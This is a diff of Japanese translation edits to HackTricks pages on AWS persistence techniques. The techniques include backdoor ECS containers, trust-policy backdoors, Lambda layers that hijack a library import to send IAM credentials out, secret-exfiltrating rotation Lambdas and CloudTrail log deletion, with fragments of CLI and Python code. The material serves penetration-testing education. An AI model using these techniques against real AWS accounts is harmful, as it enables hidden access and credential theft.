-外部アカウントでクロスアカウントレプリケーションを設定することで、レジストリを自動的に複製することが可能です。ここでは、レジストリを複製したい**外部アカウント**を**指定する**必要があります。
+クロスアカウントレプリケーションを設定することで、外部アカウントにレジストリを自動的にレプリケートすることが可能です。この際、レジストリをレプリケートしたい**外部アカウント**を**指定する**必要があります。
 
 <figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
 
-まず、外部アカウントにレジストリへのアクセスを与えるために、次のような**レジストリポリシー**を設定する必要があります。
+まず、外部アカウントに対して、次のような**レジストリポリシー**を使用してレジストリへのアクセスを付与する必要があります。
 ```bash
 aws ecr put-registry-policy --policy-text file://my-policy.json
 
@@ -68,7 +68,7 @@ aws ecr put-registry-policy --policy-text file://my-policy.json
 "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
 }
 ```
-次に、レプリケーション設定を適用します：
+その後、レプリケーション設定を適用します:
 ```bash
 aws ecr put-replication-configuration \
 --replication-configuration file://replication-settings.json \

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

@@ -4,7 +4,7 @@
 
 ## ECS
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
 }
 ]'
 ```
-### 既存のECSタスク定義にバックドアコンテナを追加
+### 既存のECSタスク定義におけるバックドアコンテナ
 
 > [!NOTE]
 > TODO: テスト
 
-攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**隠れたバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用されます。
+攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**ステルスバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用される可能性があります。
 ```bash
 # Update the existing task definition to include the backdoor container
 aws ecs register-task-definition --family "existing-task" --container-definitions '[
@@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition
 }
 ]'
 ```
-### Undocumented ECS Service
+### 文書化されていないECSサービス
 
 > [!NOTE]
-> TODO: Test
+> TODO: テスト
 
-攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログを無効にすることで、管理者が悪意のあるサービスに気付くのが難しくなります。
+攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログ記録を無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。
 ```bash
 # Create a malicious task definition
 aws ecs register-task-definition --family "malicious-task" --container-definitions '[

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md

@@ -12,10 +12,10 @@
 
 ### リソースポリシー / セキュリティグループの変更
 
-**リソースポリシーおよび/またはセキュリティグループを変更することで**、ファイルシステムへのアクセスを持続させることができます。
+**リソースポリシーおよび/またはセキュリティグループ**を変更することで、ファイルシステムへのアクセスを持続させることができます。
 
 ### アクセスポイントの作成
 
-**アクセスポイントを作成することで**（`/`へのルートアクセス付き）、他の**持続性**を実装したサービスからアクセス可能にし、ファイルシステムへの特権アクセスを維持できます。
+**アクセスポイントを作成する**ことで、ファイルシステムへの特権アクセスを維持するために、他の**持続性**を実装したサービスからアクセス可能な（`/`へのルートアクセスを持つ）アクセスポイントを作成できます。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md

@@ -4,15 +4,15 @@
 
 ## Elastic Beanstalk
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### インスタンス内の持続性
+### インスタンス内の永続性
 
-AWSアカウント内で持続性を維持するために、**インスタンス内に持続性メカニズムを導入することができる**（cronジョブ、sshキー...）ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
+AWSアカウント内で永続性を維持するために、**インスタンス内に永続性メカニズムを導入することができる**（cronジョブ、sshキー...）ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
 
 ### バックドアのあるバージョン
 

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md

@@ -21,7 +21,7 @@
 
 ### バックドアロール信頼ポリシー
 
-信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソース（または誰にでも）それを引き受けることができるようにすることができます：
+信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソースのためにそれを引き受けることができるようにすることができます（または誰にでも）：
 ```json
 {
 "Version": "2012-10-17",
@@ -42,6 +42,6 @@
 
 ### バックドア / アイデンティティプロバイダーの作成
 
-アカウントがすでに一般的なアイデンティティプロバイダー（例えばGithub）を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようにします。
+アカウントがすでに一般的なアイデンティティプロバイダー（例えばGithub）を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようになります。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md

@@ -16,11 +16,11 @@
 
 ### 永続的な付与
 
-付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与（同一のものでも）を持つことができます。
+付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与（同一のものも含む）を持つことができます。
 
 したがって、ユーザーはすべての権限を持つ10の付与を持つことが可能です。攻撃者はこれを常に監視する必要があります。そして、ある時点で1つの付与が削除された場合、別の10の付与が生成されるべきです。
 
-（ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、10を使用しています。）
+（ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、2ではなく10を使用しています）
 ```bash
 # To generate grants, generate 10 like this one
 aws kms create-grant \

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md

@@ -12,7 +12,7 @@
 
 ### Lambda Layer Persistence
 
-**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、ラムダがステルスな方法で実行されるときに行えます：
+**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、lambdaがステルスな方法で実行されるときに行えます：
 
 {{#ref}}
 aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
 
 ### Lambda Extension Persistence
 
-Lambda Layersを悪用することで、拡張機能を悪用し、ラムダに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
+Lambda Layersを悪用することで、拡張機能を悪用し、lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
 
 {{#ref}}
 aws-abusing-lambda-extensions.md
@@ -28,13 +28,13 @@ aws-abusing-lambda-extensions.md
 
 ### Via resource policies
 
-外部アカウントに対して、さまざまなラムダアクション（呼び出しやコードの更新など）へのアクセスを付与することが可能です：
+外部アカウントに対して、異なるlambdaアクション（invokeやupdate codeなど）へのアクセスを付与することが可能です：
 
 <figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
 
 ### Versions, Aliases & Weights
 
-ラムダは**異なるバージョン**（各バージョンに異なるコード）を持つことができます。\
+Lambdaは**異なるバージョン**（各バージョンに異なるコード）を持つことができます。\
 その後、**異なるバージョンの異なるエイリアスを作成**し、それぞれに異なる重みを設定できます。\
 この方法で、攻撃者は**バックドア付きのバージョン1**と**正当なコードのみのバージョン2**を作成し、**リクエストの1%でのみバージョン1を実行**してステルスを維持できます。
 
@@ -42,23 +42,23 @@ aws-abusing-lambda-extensions.md
 
 ### Version Backdoor + API Gateway
 
-1. ラムダの元のコードをコピーします
-2. **元のコードをバックドアする新しいバージョンを作成**します（または悪意のあるコードのみ）。そのバージョンを公開し、**$LATESTにデプロイ**します
-1. ラムダに関連するAPIゲートウェイを呼び出してコードを実行します
+1. Lambdaの元のコードをコピーします
+2. **元のコードをバックドアする新しいバージョンを作成**します（または悪意のあるコードのみで）。そのバージョンを公開し、**$LATESTにデプロイ**します
+1. コードを実行するためにlambdaに関連するAPIゲートウェイを呼び出します
 3. **元のコードを持つ新しいバージョンを作成**し、その**バージョンを$LATESTに公開してデプロイ**します。
 1. これにより、バックドア付きのコードは以前のバージョンに隠されます
-4. APIゲートウェイに移動し、**バックドア付きのラムダを実行する新しいPOSTメソッドを作成**します：`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
+4. API Gatewayに移動し、**バックドア付きのlambdaの実行を行う新しいPOSTメソッドを作成**します：`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
 1. 最後の:1は**関数のバージョンを示す**ことに注意してください（このシナリオではバージョン1がバックドア付きのものになります）。
-5. 作成したPOSTメソッドを選択し、アクションで**`APIをデプロイ`**を選択します
-6. これで、**POST経由で関数を呼び出すと、あなたのバックドア**が呼び出されます
+5. 作成したPOSTメソッドを選択し、アクションで**`Deploy API`**を選択します
+6. これで、**POST経由で関数を呼び出すと、あなたのバックドアが呼び出されます**
 
 ### Cron/Event actuator
 
-**何かが起こったときや時間が経過したときにラムダ関数を実行できる**という事実は、ラムダを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
-ここでは、**ラムダを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
+**何かが起こったときや時間が経過したときにlambda関数を実行できる**という事実は、lambdaを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
+ここでは、**lambdaを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
 
-- 新しいユーザーが作成されるたびに、ラムダは新しいユーザーキーを生成し、攻撃者に送信します。
-- 新しいロールが作成されるたびに、ラムダは侵害されたユーザーにロールの引き受け権限を付与します。
-- 新しいCloudTrailログが生成されるたびに、それらを削除/変更します。
+- 新しいユーザーが作成されるたびに、lambdaは新しいユーザーキーを生成し、攻撃者に送信します。
+- 新しいロールが作成されるたびに、lambdaは侵害されたユーザーにロールの引き受け権限を付与します。
+- 新しいcloudtrailログが生成されるたびに、それらを削除/変更します。
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md

@@ -19,20 +19,20 @@ Lambdaランタイム環境のデフォルトのLinuxカーネルは、“**proc
 
 さらに、Lambda拡張は**呼び出しイベントにサブスクライブする能力**を持っていますが、AWSはこれらの拡張に生データを公開しません。これにより、**拡張がHTTPリクエストを介して送信される機密情報にアクセスできないことが保証されます。**
 
-Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、任意のランタイムコードの実行前に実行されますが、Rapidの後です。
+Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、Rapidの後に任意のランタイムコードの実行前に実行されます。
 
 <figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
 
 変数**`AWS_LAMBDA_RUNTIME_API`**は、**子ランタイムプロセス**および追加の拡張に対してRapid APIの**IP**アドレスと**ポート**番号を示します。
 
 > [!WARNING]
-> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です（**中間者攻撃**）。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更**を許可するため、ポート番号の変更が可能になるからです。
+> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です（**中間者攻撃**）。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更を許可する**ため、ポート番号の変更が可能です。
 
-**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス（例：Python、Java、Node、Ruby）の起動に影響を与えます。さらに、**私たちの後に読み込まれた拡張**は、この変数に依存しており、私たちの拡張を通じてルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることが可能になるかもしれません。
+**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス（例：Python、Java、Node、Ruby）の起動に影響を与えます。さらに、私たちの後に読み込まれる**拡張**は、この変数に依存しているため、私たちの拡張を経由してルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることができる可能性があります。
 
 <figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
 
-ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**ために作成され、他の**拡張**の**リクエスト**を**変更する**ことさえできます。
+ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**、他の**拡張**の**リクエスト**を**変更する**ために作成されました。
 
 ## 参考文献
 

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md

@@ -4,37 +4,37 @@
 
 ## Lambda Layers
 
-Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーには、ライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。
+Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。
 
 **関数ごとに最大五つのレイヤー**を含めることが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。
 
-**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**するか、レイヤーを**公開**することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用する場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数は**レイヤーのバージョンを引き続き使用できます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。
+**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**したり、レイヤーを**公開**することを選択できます。あなたの関数が別のアカウントが公開したレイヤーを使用している場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、あなたの関数は**レイヤーのバージョンを使用し続けることができます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新することはできません。
 
 コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージします。
 
 ### Python load path
 
-Pythonがlambdaで使用するロードパスは次のとおりです：
+Pythonがlambdaで使用するロードパスは次のとおりです:
 ```
 ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
 ```
-チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリで占められています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**
+チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリによって占有されています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**
 
 > [!CAUTION]
-> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けたり、**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加**した場合、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。
+> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けることができた場合、または**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加した場合**、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。
 
 したがって、要件は次のとおりです:
 
-- **被害者のコード**によって**読み込まれるライブラリ**をチェックする
-- **カスタムコードを実行し、元の**ライブラリを**読み込む**ための**lambda layers**を持つ**プロキシライブラリを作成する。
+- **被害者のコードによって**読み込まれる**ライブラリを確認する**
+- **カスタムコードを実行し、元の**ライブラリを**読み込む**lambda layersを使用した**プロキシライブラリを作成する**。
 
 ### プリロードされたライブラリ
 
 > [!WARNING]
-> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときに**すでに読み込まれている**のです。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
+> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときにpythonランタイムに**すでに読み込まれています**。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
 > この永続性技術を悪用するためには、コードが実行されるときに**読み込まれていない新しいライブラリを読み込む**必要があります。
 
-このようなpythonコードを使えば、lambda内のpythonランタイムに**プリロードされたライブラリのリスト**を取得することが可能です:
+このようなpythonコードを使用すると、lambda内のpythonランタイムに**プリロードされたライブラリのリストを取得する**ことができます:
 ```python
 import sys
 
@@ -48,20 +48,20 @@ return {
 ```
 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
 ```
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+そして、これは**lambdaがデフォルトでインストールしているライブラリ**のリストです: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
 
-### Lambda Layer Backdooring
+### Lambdaレイヤーのバックドア
 
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+この例では、ターゲットコードが**`csv`**をインポートしていると仮定します。私たちは**`csv`ライブラリのインポートにバックドアを仕掛ける**つもりです。
 
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
+そのために、**`/opt/python/lib/python3.9/site-packages`**に**csv**というディレクトリを作成し、その中に**`__init__.py`**ファイルを置きます。\
+その後、lambdaが実行されて**csv**を読み込もうとすると、私たちの**`__init__.py`ファイルが読み込まれ、実行されます**。\
+このファイルは以下を行う必要があります:
 
-- Execute our payload
-- Load the original csv library
+- 私たちのペイロードを実行する
+- 元のcsvライブラリを読み込む
 
-We can do both with:
+私たちは両方を次のように行うことができます:
 ```python
 import sys
 from urllib import request
@@ -87,7 +87,7 @@ sys.modules["csv"] = _csv
 
 このコードは [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) で見つけることができます。
 
-統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**（コードの変更またはコールドlambda）、しかし、**他の技術**も以下のように統合することができます：
+統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**（コードの変更またはコールドlambda）、しかし**他の技術**も以下のように統合することができます：
 
 {{#ref}}
 ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -95,14 +95,14 @@ sys.modules["csv"] = _csv
 
 ### 外部レイヤー
 
-**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは、権限がなくても外部アカウントのレイヤーを使用できます。\
-また、**lambdaが持つことができるレイヤーの最大数は5です**。
+**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは権限がなくても外部アカウントのレイヤーを使用できます。\
+また、**lambdaが持てるレイヤーの最大数は5です**。
 
 したがって、この技術の汎用性を向上させるために、攻撃者は次のことを行うことができます：
 
 - ユーザーの既存のレイヤーにバックドアを仕掛ける（外部のものは何もない）
 - **自分のアカウントに** **レイヤー**を**作成**し、**被害者アカウントに**そのレイヤーを使用するアクセスを**与え**、**被害者のLambdaに**その**レイヤーを**設定し、**権限を削除**します。
-- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**（lambda内でリバースシェルを取得することを除いて）
+- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**（lambda内でrev shellを取得することを除いて）
 - 被害者は**`aws lambda list-layers`**を使用して**外部レイヤーを確認できません**。
 ```bash
 # Upload backdoor layer

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md

@@ -28,6 +28,6 @@
 
 - あなたのIPを指すサブドメインを作成し、**サブドメインテイクオーバー**を行う
 - ドメインから**メール**を送信できるようにする**SPF**レコードを作成する
-- **メインドメインのIPを自分のものに設定し、正当なものへの**MitM**を行う
+- **メインドメインのIPを自分のものに設定し**、あなたのIPから正当なものへの**MitM**を実行する
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md

@@ -4,7 +4,7 @@
 
 ## RDS
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-relational-database-rds-enum.md
@@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a
 ```
 ### DB内に管理者ユーザーを作成する
 
-攻撃者は**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
+攻撃者は単に**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
 
 ### スナップショットを公開する
 ```bash

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md

@@ -12,14 +12,14 @@
 
 ### KMS クライアントサイド暗号化
 
-暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキー (`aws kms generate-data-key`) を生成し、**生成された暗号化キーをファイルのメタデータ内に保存します** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))。これにより、復号化が行われるときに再度 KMS を使用して復号化できます：
+暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキーを生成します（`aws kms generate-data-key`）そして、**生成された暗号化キーをファイルのメタデータ内に保存します**（[python コード例](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)）ので、復号化が行われるときに再度 KMS を使用して復号化できます：
 
 <figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
 
-したがって、攻撃者はメタデータからこのキーを取得し、KMS (`aws kms decrypt`) を使用して復号化し、情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用されている場合、使用することができます。
+したがって、攻撃者はメタデータからこのキーを取得し、KMS（`aws kms decrypt`）を使用して情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用される場合、使用することができます。
 
 ### S3 ACL の使用
 
-通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者は、それらを悪用することができます（有効な場合や攻撃者が有効にできる場合）ので、S3 バケットへのアクセスを維持できます。
+通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者はそれらを悪用することができます（有効な場合や攻撃者がそれらを有効にできる場合）ので、S3 バケットへのアクセスを維持できます。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

@@ -4,7 +4,7 @@
 
 ## Secrets Manager
 
-詳細については、次を確認してください：
+詳細については、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-secrets-manager-enum.md
@@ -12,13 +12,13 @@
 
 ### リソースポリシーを介して
 
-リソースポリシーを介して**外部アカウントに秘密へのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privescページ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**秘密にアクセスする**には、外部アカウントも**秘密を暗号化するKMSキーへのアクセスが必要**です。
+リソースポリシーを介して**外部アカウントにシークレットへのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**シークレットにアクセスする**には、外部アカウントも**シークレットを暗号化しているKMSキーへのアクセスが必要**です。
 
 ### Secrets Rotate Lambdaを介して
 
-秘密を自動的に**回転させる**ために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しい秘密を自分に流出させる**ことができます。
+シークレットを自動的に**ローテーション**するために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しいシークレットを自分に流出**させることができます。
 
-このようなアクションのためのLambdaコードは次のようになります：
+このようなアクションのためのlambdaコードは次のようになります：
 ```python
 import boto3
 

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -4,7 +4,7 @@
 
 ## SNS
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
@@ -12,8 +12,8 @@
 
 ### Persistence
 
-**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
-以下のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます：
+**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きする権限を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
+次のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます：
 ```json
 {
 "Version": "2008-10-17",
@@ -63,11 +63,11 @@
 ]
 }
 ```
-### Create Subscribers
+### サブスクライバーの作成
 
-すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのためにサブスクライバーを作成する**ことができます。
+すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのサブスクライバーを作成**することができます。
 
-**トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
+**トピックがFIFOタイプ**の場合、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
 ```bash
 aws sns subscribe --region <region> \
 --protocol http \

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md

@@ -12,8 +12,8 @@
 
 ### リソースポリシーの使用
 
-SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
-次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのものへのアクセスを許可します：
+SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することが可能です。\
+次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのアクセスを許可します：
 ```json
 {
 "Version": "2008-10-17",
@@ -32,6 +32,6 @@ SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っ
 }
 ```
 > [!NOTE]
